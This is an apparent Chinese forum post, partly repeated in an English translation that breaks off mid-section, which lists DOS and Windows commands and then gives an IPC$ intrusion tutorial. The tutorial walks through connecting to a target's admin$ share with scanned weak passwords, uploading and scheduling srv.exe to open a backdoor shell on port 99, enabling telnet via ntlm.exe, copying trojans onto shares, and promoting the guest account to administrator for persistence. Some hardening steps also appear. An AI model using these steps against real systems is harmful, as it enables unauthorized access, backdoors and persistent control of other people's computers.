『楼 主』:
[分享]DOS 常用命令和 Windows 命令详解
使用 LLM 解释/回答一下
DOS 常用命令:
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名
more 分屏显示 type 显示文件内容 rd 删除目录 sys 制作DOS系统盘
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性
fdisk 硬盘分区 date 显示及修改号期 label 设置卷标号 defrag 磁盘碎片整理
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
不常用DOS命令
diskcomp 磁盘比较 append 设置非执行文件路径
expand 还原DOS文件 fasthelp快速显示帮助信息
fc 文件比较 interink启动服务器
setver 设置版本 intersvr启动客户机
subst 路径替换 qbasic Basic集成环境
vsafe 防病毒 unformat恢复已格式化的磁盘
ver 显示DOS版本号 smartdrv设置磁盘加速器
vol 显示磁盘卷标号 lh 将程序装入高端内存
ctty 改变控制设备 emm386 扩展内存管理
常用命令具体介绍:
一、Dir
显示目录文件和子目录列表,呵呵,这个当然是人人要知道的。
可以使用通配符(? 和 *),?表通配一个字符,*表通配任意字符
*.后缀
指定要查看后缀的文件。 上面其实也可以为“ . 后缀”,例如dir *.exe 等于dir .exe
/p
每次显示一个列表屏幕。要查看下一屏,请按键盘上的任意键。
/w
以宽格式显示列表,在每一行上最多显示 5 个文件名或目录名。
/s
列出指定目录及所有子目录中出现的每个指定的文件名。比win环境下的查找快多了
dir *.* -> a.txt 把当前目录文件列表写入a.txt
dir *.* /s -> a.txt 把当前目录文件列表写入a.txt,包括子目录下文件。
二、Attrib
显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。如果在不含参数的情况下使用,则 attrib 会显示当前目录中所有文件的属性。
+r
设置只读属性。
-r
清除只读属性。
+a
设置存档文件属性。
-a
清除存档文件属性。
+s
设置系统属性。
-s
清除系统属性。
+h
设置隐藏属性。
-h
清除隐藏属性。
三、Cls
清除显示在命令提示符窗口中的所有信息,并返回空窗口,即“清屏”
四、Exit
退出当前命令解释程序并返回到系统。
五、Format
格式化
/q
执行快速格式化。删除以前已格式化卷的文件表和根目录,但不在扇区之间扫描损坏区域。使用 /q 命令行选项应该仅格式化以前已格式化的完好的卷。
六、Ipconfig
显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。
/all
显示所有适配器的完整 TCP/IP 配置信息。
ipconfig 等价于 winipcfg,后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面,但可以使用“网络连接”查看和更新 IP 地址。要做到这一点,请打开 网络连接,右键单击某一网络连接,单击“状态”,然后单击“支持”选项卡。
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。
七、Md
创建目录或子目录
八、Move
将一个或多个文件从一个目录移动到指定的目录。
九、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 N
etBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。
-a remotename
显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。
-A IPAddress
显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
十、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
-a
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
十一、Ping
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数,ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按 CTRL-BREAK。要中断并退出 ping,请按 CTRL-C。
-l size
指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名称。
例如 ren *.abc *.cba
十三、Set
显示、设置或删除环境变量。如果没有任何参数,set 命令将显示当前环境设置。
十四、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数,shutdown 将注销当前用户。
-m ComputerName
指定要关闭的计算机。
-t xx
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l
注销当前用户,这是默认设置。-m ComputerName 优先。
-s
关闭本地计算机。
-r
关闭之后重新启动。
-a
中止关闭。除了 -l 和 ComputerName 外,系统将忽略其它参数。在超时期间,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新启动计算机后扫描和验
证所有受保护的系统文件。
/scannow
立即扫描所有受保护的系统文件。
/scanonce
一次扫描所有受保护的系统文件。
/purgecache
立即清除“Windows 文件保护”文件高速缓存,并扫描所有受保护的系统文件。
/cachesize=x
设置“Windows 文件保护”文件高速缓存的大小,以 MB 为单位。
十六、Type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
图像化显示路径或驱动器中磁盘的目录结构。
十八、Xcopy
复制文件和目录,包括子目录。
/s
复制非空的目录和子目录。如果省略 /s,xcopy 将在一个目录中工作。
/e
复制所有子目录,包括空目录。
十九、copy
将一个或多个文件从一个位置复制到其他位置
二十、Del
删除指定文件。
ftp和bat批命令和net和telnet由于子命令太多,这里不说了,不过这几个都是常用到的。
IPC$命令详解:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!
二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.
四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上的操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.
六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。
七 如何防范ipc$入侵
1. 禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2. 禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3. 永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4. 安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5. 设置复杂密码,防止通过ipc$穷举密码
八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
4)删除一个ipc$连接
net use \\IP\ipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)
1. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"
一般用流光,通过扫描弱口令来得到,管理员帐号和密码.
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00,命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05,那就准备开始下面的命令。
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:\>net user guest /active:yes
将对方的Guest用户激活
11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add
将Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)
IPC$常见问题:
1,怎样建立空连接,它有什么用?
答:使用命令 net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放ipc$)。
对于NT,在默认安全设置下,借助空连接可以列举目标用户、共享,访问everyone权限的共享,访问小部分注册表等,没有什么利用价值。对2000作用就更小了。而且实现也不方便,需借助工具。
2,为什么我连不上IPC$?
答:
(1) 只有nt/2000/xp及以上系统才可以建立ipc$。如果你用的是98/me是没有该功能的。
(2) 确认你的命令没有打错。正确的命令是: net use \目标IPipc$ "密码" /user:"用户名"
注意别多了或少了空格。当用户名和密码中不包含空格时两边的双引号可以省略。空密码用""表示。
3,根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
4,关于ipc$连不上的问题比较复杂,没有总结出一个统一的认识,在肉鸡上实验有时会得出矛盾的结论,十分棘手。 而且知道了问题所在,如果没有用其他办法获得shell,很多问题依然不能解决。
5,怎样打开目标的IPC$?
答:首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马。当然,这shell必须是admin权限的。然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上一问题可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法)。还是不行的话(比如有防火墙,杀不了)建议放弃。
6,怎样映射和访问默认共享?
答:使用命令 net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘,其他盘类推。
如果已经和目标建立了ipc$,则可以直接用IP加盘符加$访问。比如 copy muma.exe \\IP\d$\path\muma.exe 。或者再映射也可以,只是不用用户名和密码了:net use y: \\IP\d$ 。然后 copy muma.exe y:\path\muma.exe 。当路径中包含空格时,须用""将路径全引住。
7,如何删除映射和ipc$连接?
答:用命令 net use \\IP\ipc$ /del 删除和一个目标的ipc$连接。
用命令 net use z: /del 删除映射的z盘,其他盘类推。
用命令 net use * /del 删除全部。会有提示要求按y确认。
8,连上ipc$然后我能做什么?
答:能使用管理员权限的帐号成功和目标连接ipc$,表示你可以和对方系统做深入“交流”了。你可以使用各种命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享(没开你就帮他开),你就可以上传木马并运行。也可以用tftp、ftp的办法上传。像dwrcc、VNC、RemoteAdmin等工具(木马)还具有直接控屏的功能。如果是2000server,还可以考虑开启终端服务方便控制。这里提到的工具的使用,请看自带的说明或相关教程。
9,怎样防止别人用ips$和默认共享入侵我?
答:
A、一种办法是把ipc$和默认共享都删除了。但重起后还会有。这就需要改注册表。
1.先把已有的删除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有几个删几个)
2.禁止别人空连接
首先运行regedit,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous(DWORD)的键值改为:00000002。
3.禁止自动打开默认共享
对于server版,找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的键值改为:00000000。
对于pro版,则是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建一个再改键值。
B、另一种是关闭ipc$和默认共享依赖的服务(不推荐)
net stop lanmanserver
可能会有提示说,XXX服务也会关闭是否继续。因为还有些次要的服务依赖于lanmanserver。一般情况按y继续就可以了。
C、最简单的办法是设置复杂密码,防止通过ipc$穷举密码。但如果你有其他漏洞,ipc$将为进一步入侵提供方便。
D、还有一个办法就是装防火墙,或者端口过滤。
DOS Common Commands:
dir list file names deltree delete directory tree cls clear screen cd change current directory
copy copy files diskcopy copy disk del delete file format format disk
edit text editing mem view memory status md create subdirectory move move files, change directory name
more display in pages type display file content rd delete directory sys make DOS system disk
ren change file name xcopy copy directories and files chkdsk check disk attrib set file attributes
fdisk hard disk partition date display and modify date label set volume label defrag disk defragmentation
msd system detection path set search directory share file sharing memmaker memory optimization management
help help restore restore backup files set set environment variables time display and modify time
tree list directory tree debug random debugging program doskey re-call DOS commands prempt set prompt undelete recover deleted files scandisk detect and repair disk
Uncommon DOS Commands
diskcomp disk comparison append set non-executable file path
expand restore DOS file fasthelp quickly display help information
fc file comparison interink start server
setver set version intersvr start client
subst path substitution qbasic Basic integrated environment
vsafe anti-virus unformat recover formatted disk
ver display DOS version number smartdrv set disk accelerator
vol display disk volume label lh load program into upper memory
ctty change control device emm386 extended memory management
Detailed Introduction of Common Commands:
I. Dir
Displays a list of directory files and subdirectories. Well, this is definitely something everyone needs to know.
Wildcards (? and *) can be used. ? represents matching one character, and * represents matching any character
*.suffix
Specifies the files to view by suffix. Actually, it can also be ".suffix" above. For example, dir *.exe is equivalent to dir .exe
/p
Displays one list screen at a time. To view the next screen, press any key on the keyboard.
/w
Displays the list in wide format, showing up to 5 file names or directory names per line.
/s
Lists each specified file name that appears in the specified directory and all subdirectories. Much faster than the find in the win environment
dir *.* -> a.txt writes the current directory file list to a.txt
dir *.* /s -> a.txt writes the current directory file list to a.txt, including files in subdirectories.
II. Attrib
Displays, sets, or deletes the read-only, archive, system, and hidden attributes assigned to files or directories. If used without parameters, attrib displays the attributes of all files in the current directory.
+r
Set read-only attribute.
-r
Clear read-only attribute.
+a
Set archive file attribute.
-a
Clear archive file attribute.
+s
Set system attribute.
-s
Clear system attribute.
+h
Set hidden attribute.
-h
Clear hidden attribute.
III. Cls
Clears all information displayed in the command prompt window and returns an empty window, that is, "clear screen"
IV. Exit
Exits the current command interpreter and returns to the system.
V. Format
Format
/q
Performs a quick format. Deletes the file table and root directory of a previously formatted volume but does not scan for damaged areas between sectors. Using the /q command-line option should only format a previously formatted intact volume.
VI. Ipconfig
Displays all current TCP/IP network configuration values, refreshes the Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings. Using ipconfig without parameters displays the IP address, subnet mask, and default gateway for all adapters.
/all
Displays complete TCP/IP configuration information for all adapters.
ipconfig is equivalent to winipcfg, which is available on ME, 98, and 95. Although Windows XP does not provide a graphical interface like the winipcfg command, you can use "Network Connections" to view and update the IP address. To do this, open Network Connections, right-click a network connection, click "Status", and then click the "Support" tab.
This command is most suitable for computers configured to obtain an IP address automatically. It allows users to determine which TCP/IP configuration values are configured by DHCP, Automatic Private IP Address (APIPA), and other configurations.
VII. Md
Create a directory or subdirectory
VIII. Move
Moves one or more files from one directory to the specified directory.
IX. Nbtstat
Displays NetBIOS statistics, NetBIOS name tables, and NetBIOS name caches based on the TCP/IP (NetBT) protocol for the local computer and remote computer. Nbtstat can refresh the NetBIOS name cache and registered Windows Internet Name Service (WINS) names. Using nbtstat without parameters displays help. Nbtstat command-line parameters are case-sensitive.
-a remotename
Displays the NetBIOS name table of the remote computer, where RemoteName is the NetBIOS computer name of the remote computer.
-A IPAddress
Displays the NetBIOS name table of the remote computer, whose name is specified by the IP address of the remote computer (separated by periods).
X. Netstat
Displays active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics (for IP, ICMP, TCP, and UDP protocols), and IPv6 statistics (for IPv6, ICMPv6, TCP over IPv6, and UDP over IPv6 protocols). When used without parameters, netstat displays active TCP connections.
-a
Displays all active TCP connections and TCP and UDP ports on which the computer is listening.
XI. Ping
Verifies the IP-level connection to another TCP/IP computer by sending "Internet Control Message Protocol (ICMP)" echo request messages. The reception of echo response messages and the number of round-trip processes are displayed together. Ping is the main TCP/IP command used to troubleshoot network connectivity, reachability, and name resolution. If used without parameters, ping displays help. Name and IP address resolution is its simplest application and also the most used.
-t
Specifies that ping can continuously send echo request messages to the destination until interrupted. To interrupt and display statistics, press CTRL-BREAK. To interrupt and exit ping, press CTRL-C.
-l size
Specifies the length (in bytes) of the "data" field in the sent echo request message. The default is 32. The maximum value of size is 65,527.
XII. Rename (Ren)
Changes the name of a file.
For example, ren *.abc *.cba
XIII. Set
Displays, sets, or deletes environment variables. If there are no parameters, the set command displays the current environment settings.
XIV. Shutdown
Allows you to shut down or restart a local or remote computer. If no parameters are used, shutdown logs off the current user.
-m ComputerName
Specifies the computer to shut down.
-t xx
Sets the timer for system shutdown to xx seconds. The default is 20 seconds.
-l
Logs off the current user, which is the default setting. -m ComputerName has priority.
-s
Shuts down the local computer.
-r
Shuts down and then restarts.
-a
Aborts the shutdown. The system ignores other parameters except -l and ComputerName. You can only use -a during the timeout period.
XV. System File Checker (sfc)
Only available under win, scans and verifies all protected system files after restarting the computer.
/scannow
Immediately scans all protected system files.
/scanonce
Scans all protected system files once.
/purgecache
Immediately clears the "Windows File Protection" file cache and scans all protected system files.
/cachesize=x
Sets the size of the "Windows File Protection" file cache in MB.
XVI. Type
Displays the contents of a text file. Use the type command to view a text file or a bat file without modifying the file
XVII. Tree
Graphically displays the directory structure of a path or drive's disk.
XVIII. Xcopy
Copies files and directories, including subdirectories.
/s
Copies non-empty directories and subdirectories. If /s is omitted, xcopy works in a single directory.
/e
Copies all subdirectories, including empty directories.
XIX. copy
Copies one or more files from one location to another
XX. Del
Deletes the specified file.
The subcommands of ftp, bat batch commands, net, and telnet are too many, so they are not mentioned here. However, these are all commonly used.
Detailed Explanation of IPC$ Commands:
There are countless articles on the Internet about IPC$ intrusion, and there are also many excellent ones. The attack steps can even be said to have become a classic model, so no one is willing to take out this established thing to play with again.
However, having said that, I personally think these articles are not detailed enough. For novices who are first exposed to IPC$, simply listing the steps cannot answer many of their confusions (you can randomly search for IPC on any hack forum and see how many doubts there are).
Therefore, I wrote this tutorial that is equivalent to clarifying doubts. I want to make clear some confusing and puzzling issues so that everyone doesn't always stay in place! If you still have questions after reading this post, please reply immediately!
II. What is IPC$
IPC$ (Internet Process Connection) is a resource that shares "named pipes" (everyone says so). It is a named pipe opened for inter-process communication. You can obtain corresponding permissions by verifying the user name and password. It is used when remotely managing a computer and viewing the shared resources of the computer.
Using IPC$, the connector can even establish an empty connection with the target host without a user name and password (of course, the target machine must have IPC$ sharing enabled, otherwise you cannot connect). With this empty connection, the connector can also obtain the user list on the target host (but a responsible administrator will prohibit exporting the user list).
We always talk about IPC$ vulnerabilities, IPC$ vulnerabilities. In fact, IPC$ is not a real vulnerability. It is a remote network login function opened for the convenience of administrators' remote management, and it also opens default shares, that is, all logical disks (c$, d$, e$...) and the system directory winnt or windows (admin$).
All of these were originally for the convenience of administrators' management, but good intentions do not necessarily have good results. Some malicious people (I don't know what their intentions are, just a pronoun) will use IPC$ to access shared resources, export user lists, and use some dictionary tools to perform password detection, hoping to obtain higher permissions to achieve ulterior motives.
Clarifying Doubts:
1) IPC connection is a unique remote network login function in Windows NT and above systems. Its function is equivalent to Telnet in Unix. Since the IPC$ function needs to use many DLL functions in Windows NT, it cannot run in Windows 9.x.
That is to say, only nt/2000/xp can establish an IPC$ connection. 98/me cannot establish an IPC$ connection (but some friends say that an empty connection can be established under 98. I don't know if it is true or not. But now it's 2003, it is recommended that 98 users change the system. 98 is not enjoyable)
2) Even an empty connection is not 100% successfully established. If the other party has closed the IPC$ sharing, you still cannot establish a connection
3) It does not mean that after establishing an IPC$ connection, you can view the other party's user list, because the administrator can prohibit exporting the user list
III. Role of Establishing an IPC$ Connection in Hack Attacks
As mentioned above, even if you establish an empty connection, you can obtain a lot of information (and these information are often indispensable in intrusion), access some shared resources. If you can log in with a user identity with certain permissions, then you will get corresponding permissions. Obviously, if you log in as an administrator, hey, I don't need to say more, what you want, you can do!!
(It can basically be summarized as obtaining target information, managing target processes and services, uploading trojans and running them. If it is 2000server, you can also consider enabling terminal services for convenient control. How powerful is that!)
But don't be too happy too early, because the administrator's password is not so easy to get. Although there will be some silly administrators using empty passwords or weak passwords, this is after all the minority, and now it's not the same as before. With the improvement of people's security awareness, administrators are becoming more and more careful, and it will be more and more difficult to get the administrator's password :(
Therefore, the most likely thing for you in the future is to connect with very small permissions or even no permissions. You will slowly find that the IPC$ connection is not omnipotent. Even when the host does not enable IPC$ sharing, you simply cannot connect.
So I think, you should not regard IPC$ intrusion as the ultimate weapon, and do not think that it is invincible. It is like a pass before shooting in a football field. It rarely has a deadly effect, but it is indispensable. I think this is the significance of the IPC$ connection in hack intrusion.
IV. Relationship between IPC$, Empty Connection, Port 139, 445, and Default Share
The relationship between the above four may be a problem that novices are very confused about. However, most articles do not make special explanations. In fact, I don't understand it very thoroughly. It is all summarized in communication with everyone. (A BBS with a good discussion atmosphere can be said to be a paradise for novices)
1) IPC$ and empty connection:
An IPC$ connection that does not require a user name and password is an empty connection. Once you log in with a certain user or administrator identity (that is, with a specific user name and password to establish an IPC$ connection), it naturally cannot be called an empty connection.
Many people may ask, since an empty connection can be made, then I will just use the empty connection in the future. Why go to so much trouble to scan weak passwords. Hehe, the reason was mentioned earlier. When you log in with an empty connection, you have no permissions (very depressed, right). When you log in with a user or administrator identity, you will have corresponding permissions (who doesn't want permissions, so just scan honestly, don't be lazy).
2) IPC$ and ports 139, 445:
